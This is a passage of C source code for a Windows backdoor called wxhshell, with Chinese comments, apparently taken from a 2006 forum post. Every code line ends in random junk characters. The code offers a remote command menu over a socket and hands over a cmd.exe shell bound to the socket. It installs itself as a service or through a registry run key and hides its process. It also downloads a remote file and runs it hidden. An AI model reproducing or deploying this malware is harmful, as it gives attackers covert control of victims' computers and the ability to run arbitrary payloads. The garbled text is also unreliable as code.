  guq{#?}  
  // 帮助 mDA:nx%5<  
  case '?': { |k )=0mCz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }Sm(]y  
    break; lK?uXr7^  
  } LiC*@W  
  // 安装 YiXk5B0Uh  
  case 'i': { ^]>O;iB?  
    if(Install()) (R[[Z,>w.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m4[;(1  
    else |{z:IQLv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ{h?#2?  
    break; [SjqOTon{  
    } %+aCJu[k(z  
  // 卸载 (+w*[qHe  
  case 'r': { h"[AOfTE$  
    if(Uninstall()) MD}w Y><C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f&N gS+<K$  
    else -V*R\,>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GL>O4S<`  
    break; afCW(zH p  
    } bWjc'P6rx  
  // 显示 wxhshell 所在路径 ]g#:KAqz  
  case 'p': { fbyd"(V 8r  
    char svExeFile[MAX_PATH]; a(m2n.0'>  
    strcpy(svExeFile,"\n\r"); e[{0)y>=  
      strcat(svExeFile,ExeFile); uP`Z12&  
        send(wsh,svExeFile,strlen(svExeFile),0); `[y^ :mj  
    break; NJ%P/\ C  
    } +C^nO=[E  
  // 重启 _>o:R$ %}  
  case 'b': { =Pyj%4Rs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w49t9~  
    if(Boot(REBOOT))  g T6z9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &pxg. 3  
    else { J@/kIrx  
    closesocket(wsh); [7:,?$tC  
    ExitThread(0); XnH05LQ  
    } 3p$?,0ELH  
    break; *[Imn\hu  
    } `Y0%c Xi3  
  // 关机 R)?*N@.s  
  case 'd': { 0gu_yg!R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 77 Q5d"sIi  
    if(Boot(SHUTDOWN)) /m!BY}4W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zcey|m*|  
    else { cRC6 s8  
    closesocket(wsh); }g@v`5  
    ExitThread(0); dUD[e,?  
    } WSP I|#Xr%  
    break; 8$] 1M,$r  
    } :^<3>zk  
  // 获取shell Q8$}@iA[  
  case 's': { Ex.yU{|c  
    CmdShell(wsh); XMCXQs&  
    closesocket(wsh); i9:C4',sw0  
    ExitThread(0); !K#qeY}  
    break; a)!o @  
  } p . %]Q*8  
  // 退出 #]-SJWf3  
  case 'x': { lPe&h]@ >  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JB\UKZXw  
    CloseIt(wsh); p0]=QH  
    break; mwO6g~@ `  
    } ^23~ZHu  
  // 离开 m%0p\Y-/  
  case 'q': { 9v#CE!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k<z )WNBf  
    closesocket(wsh); :S]\0;8]  
    WSACleanup(); ,10=  
    exit(1); wC"FDr+  
    break; M+oHtX$  
        } I !- U'{  
  } )|cc X  
  } ufj,T7g^  
xKbXt;l2  
  // 提示信息 eB2a-,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2bz2KB5>  
} >:SHV W  
  } k``_EiV4t  
y4yhF8E>;U  
  return; A]*}HZ ,  
} @?ebuj5{e  
zg>zUe bA  
// shell模块句柄 C-xr"]#]  
int CmdShell(SOCKET sock) aNsBcov3O  
{ #x@$ lc=k3  
STARTUPINFO si; ]dVGUG8  
ZeroMemory(&si,sizeof(si)); 'I|v[G$l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H;is/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8H[<X_/ke  
PROCESS_INFORMATION ProcessInfo; TT%M' 5&  
char cmdline[]="cmd"; /*~EO{o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'B$yo]  
  return 0; J[&@PUy  
} ?JbilK}a  
je\Ph5"  
// 自身启动模式 E#RDqL*J  
int StartFromService(void)  y`iBFC;_  
{ s3N'02G  
typedef struct O ;Rqv  
{ (le9q5Qr.  
  DWORD ExitStatus; >fG3K`  
  DWORD PebBaseAddress; 2YL?,uLS  
  DWORD AffinityMask; KRbvj  
  DWORD BasePriority; >dXGee>'M  
  ULONG UniqueProcessId; -]Bq|qTH[(  
  ULONG InheritedFromUniqueProcessId; @/~omg}R  
}   PROCESS_BASIC_INFORMATION; 1dY}\Sp  
!<|4C6X:4  
PROCNTQSIP NtQueryInformationProcess; 5&g@3j]  
wVXS%4|v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >gQ>1Bwvi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &, vcJ{.  
u]wZQl#-  
  HANDLE             hProcess; ;<Sd~M4f  
  PROCESS_BASIC_INFORMATION pbi; >h1}~jW+  
ZgJQ?S$D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j3oV+zZ49  
  if(NULL == hInst ) return 0; hW' )Sp  
3yme1Mb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mexk~z A^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P{`C^W$J^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^#-l q)  
 N];NAMp  
  if (!NtQueryInformationProcess) return 0; Z#jZRNU%ox  
iU918!!N   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ITQA0PI SL  
  if(!hProcess) return 0; SGRp3,1\4%  
FkDmP`Od  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;C#F>SG\S  
,pfG  
  CloseHandle(hProcess); R{4^t97wH{  
\w>y`\6mX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q}JOU  
if(hProcess==NULL) return 0; +/7?HGf  
/N+dQe  
HMODULE hMod; 6v!`1} ~  
char procName[255]; /<k/7TF`  
unsigned long cbNeeded; 0o4XUW   
s) t@ol  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (x|T+c"bAX  
7+cO_3AB  
  CloseHandle(hProcess); s^TZXCyF o  
]cvwIc">  
if(strstr(procName,"services")) return 1; // 以服务启动 9RL`<,Q  
8`{:MkXP  
  return 0; // 注册表启动 ,Vax&n+J  
} 2.y-48Nz  
iVr JQ  
// 主模块 bWS&Yk(  
int StartWxhshell(LPSTR lpCmdLine) ?R 'r4P,  
{ 7z,C}-q  
  SOCKET wsl; nW:C/{n2tG  
BOOL val=TRUE; est9M*Fn  
  int port=0; 8W7J3{d  
  struct sockaddr_in door; ^ +\dz  
W*:.Gxv]  
  if(wscfg.ws_autoins) Install(); MchA{p&Ol  
I 34>X`[o  
port=atoi(lpCmdLine); 6|=f$a  
$HzBD.CF|x  
if(port<=0) port=wscfg.ws_port; {S \{Ii6  
R\f+SvE  
  WSADATA data; ~8+ Zs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {Xy5pfW Q  
1I6px$^E\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N~gzDQ3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3}1u\(Mf  
  door.sin_family = AF_INET; T!{w~'=F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^76]0`gS  
  door.sin_port = htons(port); qR{=pR  
Fo_sgv8O<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OT*mO&Z  
closesocket(wsl); @mBQ?; qlK  
return 1; ]W!0$'o  
} $PPi5f}HD  
u=sp`%?  
  if(listen(wsl,2) == INVALID_SOCKET) { :cECRm*  
closesocket(wsl); EZGIf/ 3  
return 1; 33q}CzK  
} =nS3p6>rZ  
  Wxhshell(wsl); 3"i-o$P  
  WSACleanup(); `h\j99  
{P./==^0  
return 0;  (ZizuHC  
zw[m9N5\h  
} P@B]  
/~?*=}c^m  
// 以NT服务方式启动 cT,sh~-x,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7}>EJ  
{ xp{tw$  
DWORD   status = 0; +6\Zj)  
  DWORD   specificError = 0xfffffff; /3T1U  
M }D}K\)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~0$&3a<n1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x;d6vBTUb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M2Qr(K|  
  serviceStatus.dwWin32ExitCode     = 0; )t#W{Gzfmh  
  serviceStatus.dwServiceSpecificExitCode = 0; T5h H  
  serviceStatus.dwCheckPoint       = 0; 7NGxa6wi  
  serviceStatus.dwWaitHint       = 0; =H8;iS2R  
?tbrbkx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jL luj   
  if (hServiceStatusHandle==0) return; ez$(c  
C'x&Py/#  
status = GetLastError(); e"<OELA  
  if (status!=NO_ERROR) i_%_x*  
{ MTn{d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sgFEK[w.y  
    serviceStatus.dwCheckPoint       = 0; y6a3t G  
    serviceStatus.dwWaitHint       = 0; ?@86P|19  
    serviceStatus.dwWin32ExitCode     = status; ZECfR>`x  
    serviceStatus.dwServiceSpecificExitCode = specificError; ktIFI`@ w)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2+XA X:YD  
    return; oEv 'dQ9  
  } upmx $H>  
x q h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~"!fP3"e  
  serviceStatus.dwCheckPoint       = 0; a7opCmL  
  serviceStatus.dwWaitHint       = 0; I?CZQ+}Hq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Sh ;(.u^  
} yG{TH0tq  
@0''k  
// 处理NT服务事件,比如:启动、停止 e0 ecD3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :ws<-Qy  
{ {.Jlbi9!  
switch(fdwControl) :3 mh@[V  
{ }GM'.yutX  
case SERVICE_CONTROL_STOP: UEL _uij  
  serviceStatus.dwWin32ExitCode = 0; AbM'3Mkz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d'> x(Yi  
  serviceStatus.dwCheckPoint   = 0; 4xj4=C~i  
  serviceStatus.dwWaitHint     = 0; xE}>,O|'q  
  { ?Bmb' 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :`sUt1Fw.  
  } #vlgwA  
  return; |7~<Is~ *  
case SERVICE_CONTROL_PAUSE: 6S #Cl>v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *Pr )%  
  break; zt%Mx>V@  
case SERVICE_CONTROL_CONTINUE: ;Rf'P}"]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z_NCD`i;  
  break; kx^/*~ex  
case SERVICE_CONTROL_INTERROGATE: !,PWb3S  
  break; eO1lnO|  
}; /9X7A;O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Rb+q=z#  
} "@n%Z  
%iB,IEw  
// 标准应用程序主函数 L/[K"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l,).p  
{ h+,@G,|D  
7>RY/O;Z,  
// 获取操作系统版本 6LhTBV  
OsIsNt=GetOsVer(); 5zJq9\)d+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uAk.@nfiEv  
I1J-)R+  
  // 从命令行安装 I^]nqK  
  if(strpbrk(lpCmdLine,"iI")) Install(); a'T;x`b8U,  
Y:`&=wjP~  
  // 下载执行文件 qP ,EBE  
if(wscfg.ws_downexe) { '%;m?t% q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HOi`$vX }N  
  WinExec(wscfg.ws_filenam,SW_HIDE); p7 ~!z.)o  
} .)3<Q}>  
xD7]C|8o  
if(!OsIsNt) { p<%d2@lp  
// 如果时win9x,隐藏进程并且设置为注册表启动 $;PMkUE  
HideProc(); n"8Yv~v*2j  
StartWxhshell(lpCmdLine); qgB_=Q#E  
} /_.|E]  
else jWgX_//!  
  if(StartFromService()) ~M$Wd2Th  
  // 以服务方式启动 x~sBzTa  
  StartServiceCtrlDispatcher(DispatchTable); .Y|!:t|  
else X-/]IH DN  
  // 普通方式启动 L50n8s  
  StartWxhshell(lpCmdLine); +ai< q>+  
fsXy"#mOkD  
return 0; 9JwPSAo;  
}
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只看该作者 1 发表于: 2006-10-10
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